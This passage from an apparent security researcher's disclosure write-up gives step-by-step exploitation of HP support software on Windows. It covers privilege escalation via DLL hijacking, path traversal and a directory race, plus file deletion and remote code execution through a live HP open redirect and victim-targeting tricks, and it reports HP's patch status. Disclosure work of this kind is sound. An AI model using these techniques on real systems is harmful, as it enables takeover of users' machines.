attacker to write a malicious binary named <code>Extract.exe</code> to <code>C:\Windows\TEMP</code>, appending enough NULL bytes to match the size of the actual <code>Extract.exe</code> in HP&apos;s installation directory.</p><p>Here are the requirements of the attacker-supplied action item base:</p><ol><li>The action item base property <code>SilentInstallString</code> must be defined to something other than an empty string.</li><li>The temporary path (<code>C:\Windows\TEMP</code>) + the action item base property <code>ExecutableName</code> must be a real file.</li><li>This file must also be signed by HP.</li><li>The action item base property <code>SilentInstallString</code> must not contain the value of the property <code>SPName</code> + <code>.exe</code>.</li></ol><p>If these requirements are passed, when the method attempts to start the extractor, it will start our malicious binary as <code>NT AUTHORITY\SYSTEM</code> achieving Local Privilege Escalation.</p><h3 id="local-privilege-escalation-2">Local Privilege Escalation #2</h3><p>The second Local Privilege Escalation vulnerability again lies in the silent install route of the exposed service method named <code>InstallSoftPaq</code>. Let&#x2019;s review what requirements we need to pass in order to have the method start our malicious binary.</p><ol><li>The action item base property <code>SilentInstallString</code> must be defined to something other than an empty string.</li><li>The temporary path (<code>C:\Windows\TEMP</code>) + the action item base property <code>ExecutableName</code> must be a real file.</li><li>This file must also be signed by HP.</li><li>If the <code>SPName</code> property + <code>.exe</code> is in the <code>SilentInstallString</code> property, the current directory is <code>C:\Windows\TEMP</code>. Otherwise, the current directory is <code>C:\swsetup\</code> + the <code>ExecutableName</code> property with <code>.exe</code> stripped. The resulting path does not need to exist.</li><li>The action item base property <code>SilentInstallString</code> must have at least one double quote.</li><li>The action item base property <code>SilentInstallString</code> must have a valid executable name after the first double quote (i.e a valid value could be <code>something&quot;cat.exe</code>). This executable name is the &quot;binary name&quot;.</li><li>The binary name must contain <code>.exe</code> or <code>.msi</code>.</li><li>The file at current directory + <code>\</code> + the binary name must exist.</li></ol><p>If all of these requirements are passed, the method will execute the binary at current directory + <code>\</code> + binary name.</p><p>The eye-catching part about these requirements is that we can cause the &quot;current directory&quot;, where the binary gets executed, to be in a directory path that can be created with low privileges. Any user is able to create folders in the <code>C:\</code> directory, therefore, we can create the path <code>C:\swsetup</code> and have the current directory be that.</p><p>We need to make sure not to forget that the executable name has <code>.exe</code> stripped from it and this directory is created within <code>C:\swsetup</code>. For example, if we pass the executable name as <code>dog.exe</code>, we can have the current directory be <code>C:\swsetup\dog</code>. The only requirement if we go this route is that the same executable name exists in <code>C:\Windows\TEMP</code>. Since unprivileged users can write into the <code>C:\Windows\TEMP</code> directory, we simply can write a <code>dog.exe</code> into the directory and pass the first few checks. The best part is, the binary in the temp directory does not need to be the same binary in the <code>C:\swsetup\dog</code> directory. This means we can place a signed HP binary in the temp directory and a malicious binary in our swsetup directory.</p><p>A side-effect of having swsetup as our current directory is that the method will first try to &quot;extract&quot; the file in question. In the process of extracting the file, the method first checks if the swsetup directory exists. If it does, it deletes it. This is perfect for us, because we can easily tell when the function is almost at executing allowing us to quickly copy the malicious binary after re-creating the directory.</p><p>After extraction is attempted and after we place our malicious binary, the method will grab the filename to execute by grabbing the string after the first double quote character in the <code>SilentInstallString</code> parameter. This means if we set the parameter to be <code>a&quot;BadBinary.exe</code>, the complete path for execution will be the current directory + <code>BadBinary.exe</code>. Since our current directory is <code>C:\swsetup\dog</code>, the complete path to the malicious binary becomes <code>C:\swsetup\dog\BadBinary.exe</code>. The only check on the file specified after the double quote is that it exists, there are no signature checks.</p><p>Once the final path is determined, the method starts the binary. For us, this means our malicious binary is executed.<br>To review the example above:</p><ol><li>We place a <em>signed</em> HP binary named <code>dog.exe</code> in <code>C:\Windows\TEMP</code>.</li><li>We create the directory chain <code>C:\swsetup\dog</code>.</li><li>We pass in an action item base with the <code>ExecutableName</code> property set to <code>dog.exe</code>, the <code>SPName</code> property set to anything but <code>BadBinary</code>, and the <code>SilentInstallString</code> property set to <code>a&quot;BadBinary.exe</code>.</li><li>We monitor the <code>C:\swsetup\dog</code> directory until it is deleted.</li><li>Once we detect that the <code>dog</code> folder is deleted, we immediately recreate it and copy in our <code>BadBinary.exe</code>.</li><li>Our <code>BadBinary.exe</code> gets executed with SYSTEM permissions.</li></ol><h3 id="local-privilege-escalation-3">Local Privilege Escalation #3</h3><p>The next Local Privilege Escalation vulnerability is accessible by both the previous protected method <code>InstallSoftpaq</code> and <code>InstallSoftpaqDirectly</code>. This exploit lies in the previously mentioned <em>direct</em> install method.</p><p>This method starts off similarly to its silent install counterpart by concatenating <code>C:\Windows\TEMP</code> and the action item base <code>ExecutableName</code> property. Again similarly, the method will verify that the path specified is a binary signed by HP. The mildly interesting difference here is that instead of doing an unsafe concatenation operation by just adding the two strings using the + operator, the method uses <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine">Path.Combine</a>, the safe way to concatenate path strings.</p><p><a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine">Path.Combine</a> is significantly safer than just adding two path strings because it checks for invalid characters and will throw an exception if one is detected, halting most path manipulation attacks.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/b05UBTC.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>What this means for us as an attacker is that our <code>ExecutableName</code> property cannot escape the <code>C:\Windows\TEMP</code> directory, because <code>/</code> is one of the blacklisted characters.</p><p>This isn&#x2019;t a problem, because unprivileged processes CAN write directly to <code>C:\Windows\TEMP</code>. This means we can place a binary to run right into the TEMP directory and have this method eventually execute it. Here&#x2019;s the small issue with that, the HP Certificate check.</p><p>How do we get past that? We can place a legitimate HP binary into the temporary directory for execution, but we need to somehow hijack its context. In the beginning of this report, we outlined how we can enter the context of a signed HP binary by injecting into it, this isn&#x2019;t exactly possible here because the service is the one creating the process. What we CAN do is some simple DLL Hijacking.</p><p>DLL Hijacking means we place a dynamically loaded library that is imported by the binary into the current directory of the signed binary. One of the first locations Windows searches when loading a dynamically linked library <a href="https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#standard-search-order-for-desktop-applications">is the current directory</a>. When the signed binary attempts to load that library, it will load our malicious DLL and give us the ability to execute in its context.</p><p>I picked at random from the abundant supply of signed HP binaries. For this attack, I went with <code>HPWPD.exe</code> which is HP&#x2019;s &quot;Web Products Detection&quot; binary. A simple way to find a candidate DLL to hijack is by finding the libraries that are missing. How do we find &quot;missing&quot; dynamically loaded libraries? <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">Procmon</a> to the rescue!</p><p>Using three simple filters and then running the binary, we&#x2019;re able to easily determine a missing library.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/HJk6WyT.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/EBvWMEh.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>Now we have a few candidates here. <code>C:\VM</code> is the directory where the binary resides on my test virtual machine. Since the first path is not in the current directory, we can disregard that. From there on, we can see plenty of options. Each one of those <code>CreateFile</code> operations usually mean that the binary was attempting to load a dynamically linked library and was checking the current directory for it. For attacking purposes, I went with <code>RichEd20.dll</code> just because it&apos;s the first one I saw.</p><p>To perform this Local Privilege Escalation attack, all we have to do is write a malicious DLL, name it <code>RichEd20.dll</code>, and stick it with the binary in <code>C:\Windows\TEMP</code>. Once we call the direct install method passing the <code>HPWPD.exe</code> binary as the <code>ExecutableName</code> property, the method will start it as the SYSTEM user and then the binary will load our malicious DLL escalating our privileges.</p><h2 id="discovery-local-privilege-escalation-4">Discovery: Local Privilege Escalation #4</h2><p>The next protected service method to look at is <code>DownloadSoftPaq</code>.</p><p>To start with, this method takes in an action item base, a String parameter called <code>MD5URL</code>, and a Boolean indicating whether or not this is a manual installation. As an attacker, we control all three of these parameters.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/Oh3mLbr.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>If we pass in true for the parameter <code>isManualInstall</code> AND the action item base property <code>UrlResultUI</code> is not empty, we&#x2019;ll use this as the download URL. Otherwise, we&#x2019;ll use the action item base property <code>UrlResult</code> as the download URL. If the download URL does not start with <code>http</code>, the method will force the download URL to be <code>http://</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/3RIY3K5.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>This is an interesting check. The method will make sure that the Host of the specified download URL ends with either <code>.hp.com</code> OR <code>.hpicorp.net</code>. If this Boolean is false, the download will not continue.</p><p>Another check is making a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD">HEAD request</a> to the download URL and ensuring the response header <code>Content-Length</code> is greater than 0. If an invalid content length header is returned, the download won&#x2019;t continue.</p><p>The location of the download is the combination of <code>C:\Windows\TEMP</code> and the action item base <code>ExecutableName</code> property. The method does not use safe path concatenation and instead uses raw string concatenation. After verifying that there is internet connection, the content length of the download URL is greater than 0, and the URL is &quot;valid&quot;, the download is initiated.</p><p>If the action item base <code>ActionType</code> property is equal to &quot;PrinterDriver&quot;, the method makes sure the downloaded file&#x2019;s MD5 hash equals that specified in the <code>CheckSum</code> property or the one obtained from HP&#x2019;s CDN server.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/YrdaW2L.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ZlzhL6u.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>After the file has completed downloading, the final verification step is done. The <code>VerifyDownloadSignature</code> method will check if the downloaded file is signed. If the file is not signed and the <code>shouldDelete</code> argument is true, the method will delete the downloaded file and return that the download failed.</p><h2 id="exploitation-local-privilege-escalation-4">Exploitation: Local Privilege Escalation #4</h2><p>Let&#x2019;s say I wanted to abuse <code>DownloadSoftPaq</code> to download my file to anywhere in the system, how could I do this?</p><p>Let&#x2019;s take things one at a time, starting with the first challenge, the download URL. Now the only real check done on this URL is making sure the host of the URL <code>http://[this part]/something</code> ENDS with <code>.hp.com</code> or <code>.hpicorp.net</code>. As seen in the screenshot of this check above, the method takes the safe approach of using C#&#x2019;s URI class and grabbing the host from there instead of trying to parse it out itself. This means unless we can find a &quot;zero day&quot; in C#&#x2019;s parsing of host names, we&#x2019;ll need to approach the problem a different way.</p><p>Okay, so our download URL really does need to end with an HP domain. DNS Hijacking could be an option, but since we&#x2019;re going after a Local Privilege Escalation bug, that would be pretty lame. How about this&#x2026; C# automatically follows redirects, so what if we found an open redirect bug in any of the million HP websites? Time to use one of my &quot;tricks&quot; of getting a web bug primitive.</p><p>Sometimes I need a basic exploit primitive like an open redirect vulnerability or a cross site scripting vulnerability but I&#x2019;m not really in the mood to pentest, what can I do? Let me introduce you to a best friend for an attacker, <a href="https://www.openbugbounty.org/">&quot;OpenBugBounty&quot;</a>! OpenBugBounty is a site where random researchers can submit web bugs about any website. OpenBugBounty will take these reports and attempt to email several security emails at the vulnerable domain to report the issue. After 90 days from the date of submission, these reports are made public.</p><p>So I need an open redirect primitive, how can I use OpenBugBounty to find one? Google it!</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/4dRK91H.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>Nice, we got a few options, let&#x2019;s look at the first one.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/Tdv3xe3.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>An unpatched bug, just what we wanted. We can test the open redirect vulnerability by going to a URL like <a href="https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com">https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com</a> and landing on Google, thanks <a href="https://www.openbugbounty.org/researchers/TvM/">TvM</a> and HP negligence (it&apos;s been 5 months since I re-reported this open redirect bug and it&apos;s still unpatched)!</p><p>Back to the method, this open redirect bug is on the host <code>ers.rssx.hp.com</code> which does end in <code>.hp.com</code> making it a perfect candidate for an attack. We can redirect to our own web server where the file is stored to make the method download any file we want.</p><p>The next barrier is being able to place the file where we want. This is pretty simple, because HP didn&#x2019;t do safe path string concatenation. We can just set the action item base <code>ExecutableName</code> property to be a relative path such as <code>../../something</code> allowing us to easily control the download location.</p><p>We don&#x2019;t have to worry about MD5 verification if we just pass something other than &quot;PrinterDriver&quot; for the <code>ActionType</code> property.</p><p>The final check is the verification of the downloaded file&#x2019;s signature. Let&#x2019;s quickly look review the method.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/xhIfrs8.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/kbL0Sc1.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><blockquote>If the file is not signed and the <code>shouldDelete</code> argument is true, the method will delete the downloaded file and return that the download failed.</blockquote><p>The <code>shouldDelete</code> argument is the first argument passed to the <code>VerifyDownloadSignature</code> method. I didn&#x2019;t want to spoil it in discovery, but this is hilarious because as you can see in the picture above, the first argument to <code>VerifyDownloadSignature</code> is <em>always false.</em> This means that even if the downloaded file fails signature verification, since <code>shouldDelete</code> is always false, the file won&#x2019;t be deleted. I really don&#x2019;t know how to explain this one&#x2026; did an HP Developer just have a brain fart? Whatever the reason, it made my life a whole lot easier.</p><p>At the end of the day, we can place any file anywhere we want in the context of a SYSTEM process allowing for escalation of privileges.</p><h2 id="discovery-local-privilege-escalation-5">Discovery: Local Privilege Escalation #5</h2><p>The next protected method we&#x2019;ll be looking at is <code>CreateInstantTask</code>. For our purposes, this is a pretty simple function to review.</p><p>The method takes in three arguments. The String parameter <code>updatePath</code> which represents the path to the update binary, the name of the update, and the arguments to pass to the update binary.</p><p>The first verification step is checking the path of the update binary.<br></p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/soV0fXf.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>This verification method will first ensure that the update path is an absolute path that does not lead to a junction or reparse point. Good job on HP for checking this.</p><p>The next check is that the update path &quot;starts with&quot; a whitelisted base path. For my 64-bit machine, <code>MainAppPath</code> expands to <code>C:\Program Files (x86)\Hewlett Packard\HP Support Framework</code> and <code>FrameworkPath</code> expands to <code>C:\Program Files (x86)\Hewlett Packard\HP Support Solutions</code>.</p><p>What this check essentially means is that since our path has to be absolute AND it must start with a path to HP&#x2019;s Program Files directory. The update path must actually be in their installation folder.</p><p>The final verification step is ensuring that the update path points to a binary signed by HP.</p><p>If all of these checks pass, the method creates a Task Scheduler task to be executed immediately by an Administrator. If any Administrator is logged on, the binary is immediately executed.</p><h2 id="exploitation-local-privilege-escalation-5">Exploitation: Local Privilege Escalation #5</h2><p>A tricky one. Our update path must be something in HP&#x2019;s folders, but what could that be? This stumped me for a while, but I got a spark of an idea while brainstorming.</p><p>We have the ability to start ANY program in HP&#x2019;s installation folder with ANY arguments, interesting. What types of binaries does HP&#x2019;s installation folders have? Are any of them interesting?</p><p>I found a few interesting binaries in the whitelisted directories such as <code>Extract.exe</code> and <code>unzip.exe</code>. On older versions, we could use <code>unzip.exe</code>, but a new update implements a signature check. <code>Extract.exe</code> didn&#x2019;t even work when I tried to use it normally. I peeked at several binaries in dnSpy and I found an interesting one, <code>HPSF_Utils.exe</code>.</p><p>When the binary was started with the argument &quot;encrypt&quot; or &quot;decrypt&quot;, the method below would be executed.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/qJgG7Pv.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>If we passed &quot;encrypt&quot; as the first argument, the method would take the second argument, read it in and encrypt it, then write it to the file specified at the third argument. If we passed &quot;decrypt&quot;, it would do the same thing except read in an encrypted file and write the decrypted version to the third argument path.</p><p>If you haven&#x2019;t caught on to why this is useful, the reason it&#x2019;s so useful is because we can abuse the decrypt functionality to write our malicious file to anywhere in the system, easily allowing us to escalate privileges. Since this binary is in the whitelisted path, we can execute it and abuse it to gain Administrator because we can write anything to anywhere.</p><h1 id="arbitrary-file-deletion-vulnerabilities">Arbitrary File Deletion Vulnerabilities</h1><h2 id="discovery-arbitrary-file-deletion">Discovery: Arbitrary File Deletion</h2><p>Let&#x2019;s start with some arbitrary file deletion vulnerabilities. Although file deletion probably won&#x2019;t lead to Local Privilege Escalation, I felt that it was serious enough to report because I could <em>seriously</em> mess up a victim&#x2019;s machine by abusing HP&#x2019;s software.</p><p>The protected method we&#x2019;ll be looking at is <code>LogSoftPaqResults</code>. This method is very short for our purposes, all we need to read are the first few lines.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/l4xaVbd.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>When the method is called, it will combine the temporary path <code>C:\Windows\TEMP</code> and the <code>ExecutableName</code> from the <em>untrusted</em> action item base using an unsafe string concatenation. If the file at this path exists AND it is not signed by HP, it will go ahead and delete it.</p><h2 id="exploitation-arbitrary-file-deletion-1">Exploitation: Arbitrary File Deletion #1</h2><p>This is a pretty simple bug. Since HP uses unsafe string concatenation on path strings, we can just escape out of the <code>C:\Windows\TEMP</code> directory via relative path escapes (i.e <code>../</code>) to reach any file we want.</p><p>If that file exists and isn&#x2019;t signed by HP, the method which is running in the context of a SYSTEM process will delete that file. This is pretty serious because imagine if I ran this on the entirety of your system32 folder. That would definitely not be good for your computer.</p><h2 id="exploitation-arbitrary-file-deletion-2">Exploitation: Arbitrary File Deletion #2</h2><p>This bug was even simpler than the last one, so I decided not to create a dedicated discovery section. Let&#x2019;s jump into the past and look at the protected method <code>UncompressCabFile</code>.<br>When the method starts, as we reviewed before, the following is checked:</p><ol><li><code>cabFilePath</code> (path to the cabinet file to extract) exists.</li><li><code>cabFilePath</code> is signed by HP.</li><li>Our token is &quot;trusted&quot; and the <code>cabFilePath</code> contains a few pre-defined paths.</li></ol><p>If these conditions are not met, the method will delete the file specified by <code>cabFilePath</code>.</p><p>If we want to delete a file, all we need to do is specify pretty much any path in the cabFilePath argument and let the method delete it while running as the SYSTEM user.</p><h1 id="remote-code-execution-vulnerability">Remote Code Execution Vulnerability</h1><h2 id="discovery">Discovery</h2><p>For most of this report we&#x2019;ve reviewed vulnerabilities inside the HP service. In this section, we&#x2019;ll explore a different HP binary. The methods reviewed in &quot;General Exploitation&quot; will not apply to this bug.</p><p>When I was looking for attack surfaces for Remote Code Execution, one of the first things I checked was for registered URL Protocols. Although I could find these manually in regedit, I opted to use the tool <a href="http://www.nirsoft.net/utils/url_protocol_view.html">URLProtocolView</a>. This neat tool will allow us to easily enumerate the existing registered URL Protocols and what command line they execute.</p><p>Scrolling down to &quot;hp&quot; after sorting by name showed quite a few options.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/AUMTYDb.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The first one looked mildly interesting because the product name of the binary was &quot;HP Download and Install Assistant&quot;, could this <em>assist</em> me in achieving Remote Code Execution? Let&#x2019;s pop it open in dnSpy.</p><p>The first thing the program does is throw the passed command line arguments into its custom argument parser. Here are the arguments we can pass into this program:</p><ol><li><code>remotefile</code> = The URL of a remote file to download.</li><li><code>filetitle</code> = The name of the file downloaded.</li><li><code>source</code> = The &quot;launch point&quot; or the source of the launch.</li><li><code>caller</code> = The calling process name.</li><li><code>cc</code> = The country used for localization.</li><li><code>lc</code> = The language used for localization.</li></ol><p>After parsing out the arguments, the program starts creating a &quot;download request&quot;. The method will read the download history to see if the file was already downloaded. If it wasn&#x2019;t downloaded before, the method adds the download request into the download requests XML file.</p><p>After creating the request, the program will &quot;process&quot; the XML data from the history file. For every pending download request, the method will create a downloader.</p><p>During this creation is when the first integrity checks are done. The constructor for the downloader first extracts the filename specified in the <code>remotefile</code> argument. It parses the name out by finding the last index of the character <code>/</code> in the <code>remotefile</code> argument and then taking the substring starting from that index to the end of the string. For example, if we passed in <code>https://example.com/test.txt</code> for the remote file, the method would parse out <code>text.txt</code>.</p><p>If the file name contains a period, verification on the extension begins. First, the method parses the file extension by getting everything after the last period in the name. If the extension is <code>exe</code>, <code>msi</code>, <code>msp</code>, <code>msu</code>, or <code>p2</code> then the download is marked as an installer. Otherwise, the extension must be one of 70 other whitelisted extensions. If the extension is not one of those, the download is cancelled.</p><p>After verifying the file extension, the complete file path is created.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/DFqv2lY.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>First, if the <code>lc</code> argument is <code>ar</code> (Arabic), <code>he</code> (Hebrew), <code>ru</code> (Russian), <code>zh</code> (Chinese), <code>ko</code> (Korean), <code>th</code> (Thai), or <code>ja</code> (Japanese), your file name is just the name extracted from the URL. Otherwise, your file name is the <code>filetitle</code> argument, <code>&#x2013;</code>, and the file name from the URL combined. Finally, the method will replace any invalid characters present in <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.getinvalidfilenamechars">Path.GetInvalidFileNameChars</a> with a space.</p><p>This sanitized file name is then combined with the current user&apos;s download folder + <code>HP Downloads</code>.</p><p>The next relevant step is for the download to begin, this is where the second integrity check is. First, the remote file URL argument must begin with <code>https</code>. Next, a URI object is created for the remote file URL. The host of this URI must end with <code>.hp.com</code> or end with <code>.hpicorp.net</code>. Only if these checks are passed is the download started.</p><p>Once the download has finished, another check is done. Before the download is marked as downloaded, the program verifies the downloaded content. This is done by first checking if the download is an installer, which was set during the file name parsing stage. If the download is an installer then the method will verify the certificate of the downloaded file. If the file is not an installer, no check is done.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ChtyZuY.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The first step of verifying the certificate of the file is to check that it matches the binary. The method does this by calling <a href="https://docs.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust">WinVerifyTrust</a> on the binary. The method does not care if the certificate is revoked. The next check is extracting the subject of the certificate. This subject field must contain in any case <code>hewlett-packard</code>, <code>hewlett packard</code>, or <code>o=hp inc</code>.</p><p>When the client presses the open or install button on the form, this same check is done again, and then the file is started using C#&#x2019;s <a href="https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start#System_Diagnostics_Process_Start">Process.Start</a>. There are no arguments passed.</p><h2 id="exploitation">Exploitation</h2><p>There are several ways to approaching exploiting this program. In the next sections, I&#x2019;ll be showing different variants of attacking and the pros/cons of each one. Let&#x2019;s start by bypassing a check we need to get past for any variant, the URL check.</p><p>As we just reviewed, the remote URL passed must have a host that ends with <code>.hp.com</code> or <code>.hpicorp.net</code>. This is tricky because the verification method uses the safe and secure way of verifying the URL&#x2019;s host by first using C#&#x2019;s URI parser. Our host will really need to contain <code>.hp.com</code> or <code>.hpicorp.net</code>.</p><p>A previous vulnerability in this report had the same issue. If you haven&apos;t read <a>that section</a>, I would highly recommend it to understand where we got this magical open redirect vulnerability in one of HP&apos;s websites: <a href="https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com">https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com</a>.</p><p>Back to the verification method, this open redirect bug is on the host <code>ers.rssx.hp.com</code> which does end in <code>.hp.com</code> making it a perfect candidate for an attack. We can redirect to our own web server where we can host any file we want.</p><p>This sums up the &quot;general&quot; exploitation portion of the Remote Code Execution bugs. Let&#x2019;s get into the individual ones.</p><h3 id="remote-code-execution-variant-1">Remote Code Execution Variant #1</h3><p>The first way I would approach this seeing what type of file we can have our victim download without the HP program thinking it&#x2019;s an installer. Only if it&#x2019;s an installer will the program verify its signature.</p><p>Looking at the whitelisted file extensions, we don&#x2019;t have that much to work with, but we have some options. One whitelisted option is <code>zip</code>, this could work. An ideal attack scenario would be a website telling you need a critical update, the downloader suddenly popping up with the HP logo, the victim pressing open on the zip file and executing a binary inside it.</p><p>To have a valid remote file URL, we will need to abuse the open redirect bug. I put my bad file on my web server and just put the URL to the zip file at the end of the open redirect URL.</p><p>When the victim visits my malicious website, an iframe with the <code>hpdia://</code> URL Protocol is loaded and the download begins.</p><p>This attack is somewhat lame because it requires two clicks to RCE, but I still think it&#x2019;s more than a valid attack method since the HP downloader looks pretty legit.</p><h3 id="remote-code-execution-variant-2">Remote Code Execution Variant #2</h3><p>My next approach is definitely more interesting then the last. In this method, we first make the program download a DLL file which is NOT an installer, then we install a signed HP binary who depends on this DLL.</p><p>Similar to our DLL Hijacking attack in the <a>third Local Privilege Escalation vulnerability</a>, we can use any signed binary which imports a DLL that doesn&#x2019;t exist. By simply naming our malicious DLL to the missing DLL name, the executed signed program will end up loading our malicious DLL giving us Remote Code Execution.</p><p>Here&#x2019;s the catch. We&#x2019;re going to have to set the language of the downloader to Arabic, Hebrew, Russian, Chinese, Korean, Thai, or Japanese. The reason is for DLL Hijacking, we need to set our malicious DLL name to exactly that of the missing DLL.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ZHhKhcV.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>If you recall the <code>CreateLocalFilename</code> method, the actual filename will have <code>&#x2013;</code> in it if the language we pass in through arguments is not one of those languages. If we do pass in a language that&#x2019;s one of the ones checked for in the function above, the filename will be the filename specified in the remote URL.</p><p>If your target victim is in a country where one of these languages is spoken commonly, this is in my opinion the best attack route. Otherwise, it may be a bit of an optimistic approach.</p><p>Whenever the victim presses on any of the open or install all buttons, the signed binary will start and load our malicious DLL. If your victim is in an English country or only speaks English, this may be a little more difficult.</p><p>You could have the website present a critical update guide telling the visitor what button to press to update their system, but I am not sure if a user is more likely to press a button in a foreign language or open a file in a zip they opened.</p><p>At the end of the day, this is a one click only attack method, and it would work phenomenal in a country that uses the mentioned languages. This variant can also be used after detecting the victim&#x2019;s language and seeing if it&#x2019;s one of the few languages we can use with this variant. You can see the victim&#x2019;s language in HTTP headers or just the <a href="https://developer.mozilla.org/en-US/docs/Web/API/NavigatorLanguage/language">&quot;navigator language&quot;</a> in javascript.</p><h3 id="remote-code-execution-variant-3">Remote Code Execution Variant #3</h3><p>The last variant for achieving remote code execution is a bit optimistic in how much resources the attacker has, but I don&#x2019;t think it a significant barrier for an APT.</p><p>To review, if the extension of the file we&#x2019;re downloading is considered an installer (see installer extensions in discovery), our binary will be checked for HP&#x2019;s signature. Let&#x2019;s take a look at the signature check.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/CEzzNb1.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The method takes in a file name and first verifies that it&#x2019;s a valid certificate. This means a certificate ripped from a legitimate HP binary won&#x2019;t work because it won&#x2019;t match the binary. The concerning part is the check for if the certificate is an HP certificate.</p><p>To be considered an HP certificate, the subject of the certificate must contain in any case <code>hewlett-packard</code>, <code>hewlett packard</code>, or <code>o=hp inc</code>. This is a pretty inadequate check, especially that lower case conversion. Here are a few example companies I can form that would pass this check:</p><ol><li>[something]hewlett PackArd[someting]</li><li>HP Inc[something]</li></ol><p>I could probably spend days making up company names. All an attacker needs to do is create an organization that contains any of those words and they can get a certificate for that company. Next thing you know, they can have a one click RCE for anyone that has the HP bloatware installed.</p><h1 id="proof-of-concept">Proof of Concept</h1><h2 id="local-privilege-escalation-vulnerabilities-1">Local Privilege Escalation Vulnerabilities</h2><h2 id="remote-code-execution-vulnerabilities">Remote Code Execution Vulnerabilities</h2><h1 id="remediation">&quot;Remediation&quot;</h1><p>HP had their initial patch finished three months after I sent them the report of my findings. When I first heard they were aiming to patch 10 vulnerabilities in such a reasonable time-frame, I was impressed because it appeared like they were being a responsible organization who took security vulnerabilities seriously. This was in contrast to the performance I saw last year with my research into <a href="https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/">Remote Code Execution</a> in Dell&apos;s bloatware where they took 6 months to deliver a patch for a <em>single</em> vulnerability, an absurd amount of time.</p><p>In the following section, I&apos;ll be going over the vulnerabilities HP did not patch or patched inadequately. Here is an overview of what was actually patched:</p><ol><li>Local Privilege Escalation #1 &#x2013; Patched &#x2714;&#xFE0F;</li><li>Local Privilege Escalation #2 &#x2013; Unpatched &#x274C;</li><li>Local Privilege Escalation #3 &#x2013; Unpatched &#x274C;</li><li>Local Privilege Escalation #4 &#x2013; &quot;Patched&quot; &#x1F615; (not really)</li><li>Local Privilege Escalation #5 &#x2013; Unpatched &#x274C;</li><li>Arbitrary File Deletion #1 &#x2013; Patched &#x2714;&#xFE0F;</li><li>Arbitrary File Deletion #2 &#x2013; Patched &#x2714;&#xFE0F;</li><li>Remote Code Execution Variant #1 &#x2013; Patched &#x2714;&#xFE0F;</li><li>Remote Code Execution Variant #2 &#x2013; Patched &#x2714;&#xFE0F;</li><li>Remote Code Execution Variant #3 &#x2013; Patched &#x2714;&#xFE0F;</li></ol><h2 id="re-discovery">Re-Discovery</h2><h3 id="new-patch-new-vulnerability">New Patch, New Vulnerability</h3><p>The largest change observed is the transition from the hardcoded &quot;C:\Windows\TEMP&quot; temporary directory to relying on the <strong>action item base supplied by the client</strong> to specify the temporary directory.</p><p>I am not sure if HP PSIRT did not review the patch or if HP has a lack of code review in general, but this transition actually <em>introduced</em> a new vulnerability. Now, instead of having a trusted hardcoded string be the deciding factor for the temporary directory&#x2026; HP relies on <strong>untrusted client data</strong> (the action item base).</p><p>As an attacker, my <em>unprivileged</em> process is what decides the value of the temporary directory used by the <em>elevated</em> agent, not the privileged service process, allowing for simple spoofing. This was one of the more shocking components of the patch. HP had not only left some vulnerabilities unpatched but in doing so ended up making some code worse than it was. This change mostly impacted the Local Privilege Escalation 